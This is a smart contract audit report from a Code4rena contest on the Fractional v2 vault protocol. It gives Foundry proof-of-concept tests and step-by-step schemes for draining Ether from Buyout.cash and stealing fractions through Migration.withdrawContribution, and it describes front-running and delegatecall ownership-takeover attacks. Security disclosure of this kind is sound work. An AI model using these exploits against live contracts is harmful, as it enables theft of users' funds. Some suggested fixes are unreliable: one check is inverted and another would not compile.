Platform: Code4rena
Start Date: 07/07/2022
Pot Size: $75,000 USDC
Total HM: 32
Participants: 141
Period: 7 days
Judge: HardlyDifficult
Total Solo HM: 4
Id: 144
League: ETH
Rank: 11/141
Findings: 6
Award: $2,207.05
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: berndartmueller
Also found by: 0xA5DF, 0xSky, 0xsanson, ElKu, Kumpa, Treasure-Seeker, TrungOre, cccz, cryptphi, hansfriese, jonatascm, kenzo, minhquanym, s3cunda, shenwilly, smiling_heretic, zzzitron
41.4866 USDC - $41.49
The function Buyout.cash
allows a user to cash out proceeds (Ether) from a successful vault buyout.
However, due to how buyoutShare
is calculated in Buyout.cash
, users (fractional vault token holders) cashing out would receive more Ether than they are entitled to. The calculation is wrong as it uses the initial Ether balance stored in buyoutInfo[_vault].ethBalance
. Each consecutive cash-out will lead to a user receiving more Ether, ultimately draining the Ether funds of the Buyout
contract.
Copy paste the following test case into Buyout.t.sol
and run the test via forge test -vvv --match-test testCashDrainEther
:
The test shows how 2 users Alice and Eve cash out Ether from a successful vault buyout (which brought in 10 ether
). Alice and Eve are both entitled to receive 5 ether
each. Alice receives the correct amount when cashing out, however, due to a miscalculation of buyoutShare
(see #L268-L269), Eve can cash-out 10 ether
from the Buyout
contract.
function testCashDrainEther() public { /// ================== /// ===== SETUP ===== /// ================== deployBaseVault(alice, TOTAL_SUPPLY); (token, tokenId) = registry.vaultToToken(vault); alice.ferc1155 = new FERC1155BS(address(0), 111, token); bob.ferc1155 = new FERC1155BS(address(0), 222, token); eve.ferc1155 = new FERC1155BS(address(0), 333, token); buyout = address(buyoutModule); proposalPeriod = buyoutModule.PROPOSAL_PERIOD(); rejectionPeriod = buyoutModule.REJECTION_PERIOD(); vm.label(vault, "VaultProxy"); vm.label(token, "Token"); setApproval(alice, vault, true); setApproval(alice, buyout, true); setApproval(bob, vault, true); setApproval(bob, buyout, true); setApproval(eve, vault, true); setApproval(eve, buyout, true); alice.ferc1155.safeTransferFrom( alice.addr, bob.addr, 1, 6000, "" ); alice.ferc1155.safeTransferFrom( alice.addr, eve.addr, 1, 2000, "" ); /// ================== /// ===== SETUP END ===== /// ================== /// Fraction balances: assertEq(getFractionBalance(alice.addr), 2000); // Alice: 2000 assertEq(getFractionBalance(bob.addr), 6000); // Bob: 6000 assertEq(getFractionBalance(eve.addr), 2000); // Eve: 2000 bob.buyoutModule.start{value: 10 ether}(vault); assertEq(getETHBalance(buyout), 10 ether); /// Bob (proposer of buyout) transfered his fractions to buyout contract assertEq(getFractionBalance(buyout), 6000); vm.warp(rejectionPeriod + 1); bob.buyoutModule.end(vault, burnProof); /// Fraction balances after buyout ended: assertEq(getFractionBalance(alice.addr), 2000); // Alice: 2000 assertEq(getFractionBalance(bob.addr), 0); // Bob: 0 assertEq(getFractionBalance(eve.addr), 2000); // Eve: 2000 assertEq(getETHBalance(buyout), 10 ether); /// Alice cashes out 2000 fractions -> 5 ETH (correct amount) alice.buyoutModule.cash(vault, burnProof); assertEq(getFractionBalance(alice.addr), 0); assertEq(getETHBalance(alice.addr), 105 ether); /// Eve cashes out 2000 fractions -> REVERTS (internally it calculates Eve would receive 10 ETH instead of the entitled 5 ETH). If the contract holds sufficient Ether from other successful buyouts, Eve would receive the full 10 ETH eve.buyoutModule.cash(vault, burnProof); }
Additionally to the demonstrated PoC in the test case, an attacker could intentionally create vaults with many wallets and exploit the vulnerability:
10.000
fractions minted5.100
) are kept in the main wallet, all other fractions are distributed to 5 other self-controlled wallets (Wallets 1-5, 980
fractions each)10 ether
- fractions are transferred into the Buyout
contract as well as 10 ether
REJECTION_PERIOD
to elapse to call Buyout.end
(51% of fractions are already held in the contract, therefore no need for voting)Buyout.cash
function to cash out each wallet. Each subsequent cash-out will lead to receiving more Ether, thus stealing Ether from the Buyout
contract:
buyoutShare = (980 * 10 ) / (3920 + 980) = 2 ether
(totalSupply = 3920
after burning 980
fractions from wallet 1)buyoutShare = (980 * 10 ) / (2940 + 980) = 2.5 ether
(totalSupply = 2940
after burning 980
fractions from wallet 2)buyoutShare = (980 * 10 ) / (1960 + 980) = ~3.3 ether
(totalSupply = 1960
after burning 980
fractions from wallet 3)buyoutShare = (980 * 10 ) / (980 + 980) = 5 ether
(totalSupply = 980
after burning 980
fractions from wallet 4)buyoutShare = (980 * 10 ) / (0 + 980) = 10 ether
(totalSupply = 0
after burning 980
fractions from wallet 5)If summed up, cashing out the 5 wallets, the attacker receives 22.8 ether
in total. Making a profit of 12.8 ether
.
This can be repeated and executed with multiple buyouts and vaults at the same time as long as there is Ether left to steal in the Buyout
contract.
Manual review
Decrement ethBalance
from buyout info buyoutInfo[_vault].ethBalance -= buyoutShare;
in Buyout.cash
(see @audit-info
annotation):
function cash(address _vault, bytes32[] calldata _burnProof) external { // Reverts if address is not a registered vault (address token, uint256 id) = IVaultRegistry(registry).vaultToToken( _vault ); if (id == 0) revert NotVault(_vault); // Reverts if auction state is not successful (, , State current, , uint256 ethBalance, ) = this.buyoutInfo(_vault); State required = State.SUCCESS; if (current != required) revert InvalidState(required, current); // Reverts if caller has a balance of zero fractional tokens uint256 tokenBalance = IERC1155(token).balanceOf(msg.sender, id); if (tokenBalance == 0) revert NoFractions(); // Initializes vault transaction bytes memory data = abi.encodeCall( ISupply.burn, (msg.sender, tokenBalance) ); // Executes burn of fractional tokens from caller IVault(payable(_vault)).execute(supply, data, _burnProof); // Transfers buyout share amount to caller based on total supply uint256 totalSupply = IVaultRegistry(registry).totalSupply(_vault); uint256 buyoutShare = (tokenBalance * ethBalance) / (totalSupply + tokenBalance); buyoutInfo[_vault].ethBalance -= buyoutShare; // @audit-info decrement `ethBalance` by `buyoutShare` _sendEthOrWeth(msg.sender, buyoutShare); // Emits event for cashing out of buyout pool emit Cash(_vault, msg.sender, buyoutShare); }
#0 - HardlyDifficult
2022-08-02T23:34:55Z
When more than 1 user calls Buyout.cash
, users will receive more ETH than expected - leaving a deficit so that later users are unable to access their funds. Agree this is a High risk issue.
🌟 Selected for report: infosec_us_team
Also found by: 0x29A, 0xsanson, BowTiedWardens, Lambda, MEP, PwnedNoMore, Treasure-Seeker, TrungOre, berndartmueller, panprog, shenwilly, smiling_heretic, xiaoming90, zzzitron
https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L160 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L308-L318
An attacker can steal vault fractions from users who joined an active vault migration by creating a "fake" and worthless vault (worthless meaning that no ERC20, ERC721,.. assets are held within the vault) and calling Migration.withdrawContribution(VAULT_ADDRESS_TO_STEAL_FROM, ARBITRARY_PROPOSAL_ID)
.
This will result in loss of funds (both ETH
and vault fractions) for vault migration voters (users who joined the migration proposal) as withdrawing (leaving) the proposal will cause the last ones to do so to not be able to leave
(due to insufficient proposal.totalFractions
and proposal.totalEth
and reverting with an underflow error on L156)
Copy paste the following test-case into Migration.t.sol
and run the test via forge test -vvv --match-test testStealWithdrawContributionFromSomeoneElse
:
function testStealWithdrawContributionFromSomeoneElse() public { initializeMigration(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true); uint256 attackerVaultFractions = 10000; uint256 attackerProposalId = 99; uint256 stealFractionsAmount = HALF_SUPPLY; address vaultAttacker; // Migrate to a vault with no permissions (just to test out migration) address[] memory newModules = new address[](2); newModules[0] = migration; newModules[1] = modules[1]; // Bob makes the proposal bob.migrationModule.propose( vault, newModules, nftReceiverPlugins, nftReceiverSelectors, TOTAL_SUPPLY * 2, 10 ether ); // Bob joins the proposal bob.migrationModule.join{value: 10 ether}(vault, 1, stealFractionsAmount); /// Setup worthless vault for the attacker Eve (nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver(); vaultAttacker = eve.baseVault.deployVault( attackerVaultFractions, modules, nftReceiverPlugins, nftReceiverSelectors, mintProof ); (address attackerToken, uint256 attackerTokenId) = registry.vaultToToken(vaultAttacker); eve.ferc1155 = new FERC1155BS(address(0), 333, attackerToken); setApproval(eve, vaultAttacker, true); setApproval(eve, migration, true); vm.label(attackerToken, "Attacker Token"); vm.label(vaultAttacker, "VaultAttackerProxy"); // Eve has 10.000 fractions of `vaultAttacker` assertEq(IERC1155(attackerToken).balanceOf(eve.addr, attackerTokenId), attackerVaultFractions); // Eve has 0 fractions of `vault` assertEq(IERC1155(token).balanceOf(eve.addr, tokenId), 0); // Eve joins own vault with `stealFractionsAmount = HALF_SUPPLY` tokens (no proposal needed) eve.migrationModule.join(vaultAttacker, attackerProposalId, stealFractionsAmount); // Eve now has less fractions assertEq(IERC1155(attackerToken).balanceOf(eve.addr, attackerTokenId), attackerVaultFractions - stealFractionsAmount); // Eve steals the fraction tokens previously transferred to proposal from Bob eve.migrationModule.withdrawContribution(vault, attackerProposalId); // Eve successfully stole fractions from Bob assertEq(IERC1155(token).balanceOf(eve.addr, tokenId), stealFractionsAmount); // Bob is not able to withdraw his contribution -> reverts. He lost his fractions of the vault AND his 1 ETH vm.expectRevert(stdError.arithmeticError); bob.migrationModule.withdrawContribution(vault, 1); }
The attack works the following:
Given a vault with id 1337
and 10.000
fractions distributed to multiple users (Bob is one of them). A user has proposed a migration with id 1
to a new vault with new configuration parameters (they do not matter for this PoC)
Migration.join{value: 1 ether}(1337, 1, 5000)
to show his support for this migration. 1 ETH
and 5000
fractions are transferred to the migration contract9999
) with 10.000
fractions9999
with Migration.join(9999, 2, 5000)
(Note that the proposal id 2
is used). Internally, userProposalFractions[_proposalId][msg.sender] += _amount;
keeps track of the 5000 fractions deposited by Eve for the proposal with id 2
Migration.withdrawContribution(1337, 2)
to steal the 5000
previously deposited fractions by Bob from the vault with the id 1337
. This is possible due to the lack of checking if the proposal id passed to Migration.withdrawContribution
belongs to the correct vault (see Migration.sol#L308-L318):
// Temporarily store user's fractions for the transfer uint256 userFractions = userProposalFractions[_proposalId][msg.sender]; // Updates fractional balance of caller userProposalFractions[_proposalId][msg.sender] = 0; // Withdraws fractional tokens from contract back to caller IFERC1155(token).safeTransferFrom( address(this), msg.sender, id, userFractions, "" );
Manual review
Consider checking if the provided _proposalId
matches the correct _vault
in the Migration.withdrawContribution
function. For instance:
require(migrationInfo[_vault][_proposalid].startTime, "Proposal does not exist for vault");
#0 - Ferret-san
2022-07-21T18:07:39Z
Duplicate of #27
🌟 Selected for report: scaraven
Also found by: berndartmueller
https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/Vault.sol#L73-L82 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L233
The Vault
contract implements the install
function which installs plugins by mapping function selectors _selectors
to the associated plugin contract addresses _plugins
. Additionally, module permissions are implemented as Merkle trees generated from the list of hash permissions returned by IModule.getLeafNodes
.
Anyone can create a proposal to migrate a vault (and it's assets) to a new vault. However, there are two ways to create an invalid migration proposal that can cause assets to be locked:
Migration.propose
with more selectors in _selectors
as plugins defined in _plugins
, the for
loop in Vault.install
will revert with an index out of bounds error when accessing _plugins[i]
Migration.propose
with either zero _modules
or if the provided _modules
have less than 2 permissions (see L235-L239)Such an invalid proposal is now in a "limbo" state, having a buyoutInfo
state of State.SUCCESS
and proposal.newVault = address(0)
and assets can not be migrated via functions like Migration.migrateVaultERC20
(due to either transferring (i.e. burning) assets to the zero-address or the ERC-20 transfer reverts for tokens like USDC
).
function install(bytes4[] memory _selectors, address[] memory _plugins) external { if (owner != msg.sender) revert NotOwner(owner, msg.sender); uint256 length = _selectors.length; for (uint256 i = 0; i < length; i++) { methods[_selectors[i]] = _plugins[i]; // @audit-info reverts if `i` is larger than `_plugins.length` } emit InstallPlugin(_selectors, _plugins); }
function settleVault(address _vault, uint256 _proposalId) external { // Reverts if the migration was not proposed Proposal storage proposal = migrationInfo[_vault][_proposalId]; if (!(proposal.isCommited)) revert NotProposed(); // Reverts if the migration was unsuccessful (, , State current, , , ) = IBuyout(buyout).buyoutInfo(_vault); if (current != State.SUCCESS) revert UnsuccessfulMigration(); // Reverts if the new vault has already been deployed if (proposal.newVault != address(0)) revert NewVaultAlreadyDeployed(proposal.newVault); // Gets the merkle root for the vault and given proposal ID bytes32[] memory merkleTree = generateMerkleTree(proposal.modules); bytes32 merkleRoot = getRoot(merkleTree); // @audit-info reverts if merkle tree has less than 2 leaf nodes // Deploys a new vault with set permissions and plugins address newVault = IVaultRegistry(registry).create( merkleRoot, proposal.plugins, proposal.selectors ); // Sets address of the newly deployed vault proposal.newVault = newVault; // Emits event for settling the new vault emit VaultMigrated( _vault, newVault, _proposalId, proposal.modules, proposal.plugins, proposal.selectors ); }
Manual review
Consider validating the arrays _selectors
and _plugins
in Migration.propose
to be of equal length:
function propose( address _vault, address[] calldata _modules, address[] calldata _plugins, bytes4[] calldata _selectors, uint256 _newFractionSupply, uint256 _targetPrice ) external { // Reverts if address is not a registered vault (, uint256 id) = IVaultRegistry(registry).vaultToToken(_vault); if (id == 0) revert NotVault(_vault); // Reverts if buyout state is not inactive (, , State current, , , ) = IBuyout(buyout).buyoutInfo(_vault); State required = State.INACTIVE; if (current != required) revert IBuyout.InvalidState(required, current); require(_plugins.length == _selectors.length, "Array lengths not matching"); // @audit-info validate array lengths // Initializes migration proposal info Proposal storage proposal = migrationInfo[_vault][++nextId]; proposal.startTime = block.timestamp; proposal.targetPrice = _targetPrice; proposal.modules = _modules; proposal.plugins = _plugins; proposal.selectors = _selectors; proposal.oldFractionSupply = IVaultRegistry(registry).totalSupply( _vault ); proposal.newFractionSupply = _newFractionSupply; }
And adapt the Migration.settleVault
function to handle less than 2 permission merkle tree leaf nodes:
function settleVault(address _vault, uint256 _proposalId) external { // Reverts if the migration was not proposed Proposal storage proposal = migrationInfo[_vault][_proposalId]; if (!(proposal.isCommited)) revert NotProposed(); // Reverts if the migration was unsuccessful (, , State current, , , ) = IBuyout(buyout).buyoutInfo(_vault); if (current != State.SUCCESS) revert UnsuccessfulMigration(); // Reverts if the new vault has already been deployed if (proposal.newVault != address(0)) revert NewVaultAlreadyDeployed(proposal.newVault); // Gets the merkle root for the vault and given proposal ID bytes32[] memory merkleTree = generateMerkleTree(proposal.modules); bytes32 merkleRoot = merkleTree.length > 1 ? getRoot(merkleTree) : bytes32(""); // @audit-info only call `getRoot` if `merkleTree.length > 1` // Deploys a new vault with set permissions and plugins address newVault = IVaultRegistry(registry).create( merkleRoot, proposal.plugins, proposal.selectors ); // Sets address of the newly deployed vault proposal.newVault = newVault; // Emits event for settling the new vault emit VaultMigrated( _vault, newVault, _proposalId, proposal.modules, proposal.plugins, proposal.selectors ); }
#0 - 0x0aa0
2022-07-19T16:47:01Z
Duplicate #115
🌟 Selected for report: byterocket
Also found by: 0x1f8b, 242, ACai, BradMoon, Chom, Lambda, PwnedNoMore, Twpony, __141345__, ayeslick, berndartmueller, cccz, giovannidisiena, infosec_us_team, minhtrng, nine9, oyc_109, reassor, slywaters, sseefried, tofunmi, unforgiven
4.9607 USDC - $4.96
The Vault._execute
function executes plugin transactions through delegatecall
. A delegate call function runs the code of the call in the callers (Vault
) context (storage, msg.sender, msg.value).
Therefore, plugins should be stateless to prevent any issues.
However, a plugin can nevertheless have storage variables declared, hence conflicting with the Vault
storage variables. Thus a plugin is able to change the vault storage variables merkleRoot
, nonce
and methods
. If a plugin has a storage variable declared in the same slot as Vault.nonce
, a plugin can potentially change the value of nonce
to 0
. This would then allow the vault to be initialized again via Vault.init
, hence changing the ownership of the deployed vault to the msg.sender
.
function _execute(address _target, bytes calldata _data) internal returns (bool success, bytes memory response) { // Check that the target is a valid contract uint256 codeSize; assembly { codeSize := extcodesize(_target) } if (codeSize == 0) revert TargetInvalid(_target); // Save the owner address in memory to ensure that it cannot be modified during the DELEGATECALL address owner_ = owner; // Reserve some gas to ensure that the function has enough to finish the execution uint256 stipend = gasleft() - MIN_GAS_RESERVE; // Delegate call to the target contract (success, response) = _target.delegatecall{gas: stipend}(_data); // @audit-info `_target` can potentially overwrite the context of the caller vault if (owner_ != owner) revert OwnerChanged(owner_, owner); // Revert if execution was unsuccessful if (!success) { if (response.length == 0) revert ExecutionReverted(); _revertedWithReason(response); } }
Manual review
Currently, the Vault
contract ensures that the owner
storage variable is not changed via the delegatecall
. To prevent the aforementioned change of ownership, consider also verifying that merkleRoot
, nonce
and methods
have not changed through delegatecall
.
#0 - mehtaculous
2022-07-19T16:04:35Z
Duplicate of #535
#1 - HardlyDifficult
2022-07-27T00:05:34Z
Duping to #487
🌟 Selected for report: 0xA5DF
Also found by: 0x52, 0xDjango, 0xsanson, Lambda, PwnedNoMore, Ruhum, Treasure-Seeker, async, berndartmueller, cccz, hubble, kenzo, scaraven, shenwilly, sseefried, xiaoming90
14.6423 USDC - $14.64
https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Buyout.sol#L68 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L86
Vault migrations and buyouts can be created by anyone, however, only a single Buyout
for a vault can exist. An attacker can front run and prevent a new migration/buyout (The attacker does not even need to have the fractional tokens of the vault as FERC1155
does not check for zero value transfers).
Due to preventing migrations and buyouts of a vault, assets within the vault can be forcefully locked by an attacker.
Alice wants to start a buyout for a vault that holds a BAYC NFT and calls Buyout.start
Bob monitors the mempool and sees the buyout call. He does not want this buyout to happen and front runs the call with Buyout.start
and sends 0 Ether
Bob's buyout function call is processed earlier by the miners and his buyout for the vault is created. The transaction from Alice reverts due to the check for an existing buyout (Buyout.sol#L68):
(, , State current, , , ) = this.buyoutInfo(_vault); State required = State.INACTIVE; if (current != required) revert InvalidState(required, current);
Due to Bob sending 0 Ether
along the Buyout.start
function call and having 0 fractions transferred to the Buyout
contract, vault fractions can't be sold and bought, hence voting for the buyout does not work. The buyout for the vault blocks new buyouts from other users for as long as REJECTION_PERIOD
As Bob only has to pay for the gas fees, he repeats this for as long as he wants and prevents a potential buyout. The BAYC NFT is locked within the vault.
Alice wants to propose a migration for a vault that holds a BAYC NFT and calls Migration.propose
(parameters do not matter in this PoC)
Bob monitors the mempool and sees the migration proposal. He does not want this migration to happen and front runs the call by creating a buyout via Buyout.start
and sends 0 Ether
Bob's buyout function call is processed earlier by the miners and his buyout for the vault is created. The transaction from Alice reverts due to the check for an existing buyout (Migration.sol#L86):
// Reverts if buyout state is not inactive (, , State current, , , ) = IBuyout(buyout).buyoutInfo(_vault); State required = State.INACTIVE; if (current != required) revert IBuyout.InvalidState(required, current);
Due to Bob sending 0 Ether
along the Buyout.start
function call and having 0 fractions transferred to the Buyout
contract, vault fractions can't be sold and bought, hence voting for the buyout does not work. The buyout for the vault blocks new buyouts and migrations from other users for as long as REJECTION_PERIOD
As Bob only has to pay for the gas fees, he repeats this for as long as he wants and prevents a potential migration.
Manual review
Consider allowing multiple buyouts per vault and let the community decide with their "votes".
#0 - 0x0aa0
2022-07-18T16:20:16Z
Duplicate of #87
#1 - HardlyDifficult
2022-08-02T21:54:55Z
🌟 Selected for report: xiaoming90
Also found by: 0x1f8b, 0x29A, 0x52, 0xA5DF, 0xDjango, 0xNazgul, 0xNineDec, 0xf15ers, 0xsanson, 0xsolstars, 242, 8olidity, Amithuddar, Aymen0909, Bnke0x0, BowTiedWardens, David_, Deivitto, ElKu, Funen, Hawkeye, IllIllI, JC, Kaiziron, Keen_Sheen, Kthere, Kulk0, Kumpa, Lambda, MEP, ReyAdmirado, Rohan16, Ruhum, Sm4rty, TomJ, Tomio, Treasure-Seeker, TrungOre, Tutturu, Viksaa39, Waze, _Adam, __141345__, ak1, apostle0x01, asutorufos, async, ayeslick, aysha, bbrho, benbaessler, berndartmueller, c3phas, cccz, chatch, cloudjunky, codexploder, cryptphi, delfin454000, dipp, durianSausage, dy, exd0tpy, fatherOfBlocks, hake, hansfriese, horsefacts, hubble, joestakey, jonatascm, kebabsec, kenzo, kyteg, mektigboy, neumo, oyc_109, pashov, pedr02b2, peritoflores, rajatbeladiya, rbserver, robee, rokinot, s3cunda, sach1r0, sahar, sashik_eth, scaraven, shenwilly, simon135, sorrynotsorry, sseefried, svskaushik, unforgiven, z3s, zzzitron
62.6864 USDC - $62.69
The Vault
contract implements the install
function which installs plugins by mapping function selectors _selectors
to the associated plugin contract addresses _plugins
.
However, if the _selector
array contains duplicates (e.g. a user accidentally installs plugins and provides duplicate function selectors), the for
loop in Vault.install
will silently override already assigned function selectors. Depending on the installed plugins, this could cause serious issues due to invoking the wrong (overwritten) function selectors on a vault and therefore calling other than expected plugin contracts.
function install(bytes4[] memory _selectors, address[] memory _plugins) external { if (owner != msg.sender) revert NotOwner(owner, msg.sender); uint256 length = _selectors.length; for (uint256 i = 0; i < length; i++) { methods[_selectors[i]] = _plugins[i]; // @audit-info assignment silently overwrites already existing selector <-> plugin mapping } emit InstallPlugin(_selectors, _plugins); }
Manual review
Consider checking _selectors
in Vault.install
for function selector duplicates prior to assignment:
function install(bytes4[] memory _selectors, address[] memory _plugins) external { if (owner != msg.sender) revert NotOwner(owner, msg.sender); uint256 length = _selectors.length; for (uint256 i = 0; i < length; i++) { require(methods[_selectors[i]] != address(0), "Function selector already in use"); // @audit-info check for already assigned function selector methods[_selectors[i]] = _plugins[i]; } emit InstallPlugin(_selectors, _plugins); }
#0 - mehtaculous
2022-07-19T16:42:18Z
Duplicate of #495
#1 - HardlyDifficult
2022-08-03T21:44:59Z
By replacing the previous plugin using the same selector, this seems to result in a silent upgrade to the latest plugin. Agree this may lead to unintentional changes, but in that case the owner should be able to install again correcting the problem. Adding a check in this flow to make upgrades more explicit seems like a nice to have. Lowering severity and converting this into a QA report for the warden.
#2 - HardlyDifficult
2022-08-22T19:13:54Z